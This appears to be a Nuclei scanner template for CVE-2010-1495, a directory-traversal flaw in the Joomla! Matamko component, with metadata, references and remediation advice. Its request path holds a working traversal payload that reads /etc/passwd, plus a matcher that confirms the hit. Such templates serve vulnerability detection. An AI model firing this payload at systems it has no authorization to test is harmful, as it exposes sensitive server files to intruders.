id: CVE-2010-1495

info:
  name: Joomla! Component Matamko 1.01 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Matamko (com_matamko) component 1.01 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12286
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1495
    - http://www.vupen.com/english/advisories/2010/0929
    - http://packetstormsecurity.org/1004-exploits/joomlamatamko-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1495
    cwe-id: CWE-22
    epss-score: 0.04503
    epss-percentile: 0.92278
    cpe: cpe:2.3:a:matamko:com_matamko:1.01:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: matamko
    product: com_matamko
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,matamko

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100db80873c4e826e771eec3d90cc217edd2052bb04999b81c92e730edfdd70ccee02204a0f81a67a7a8065fe6aa1db38bd12b03921b8796c10a8adbe1e151d35643bee:922c64590222798bb761d5b6d8e72950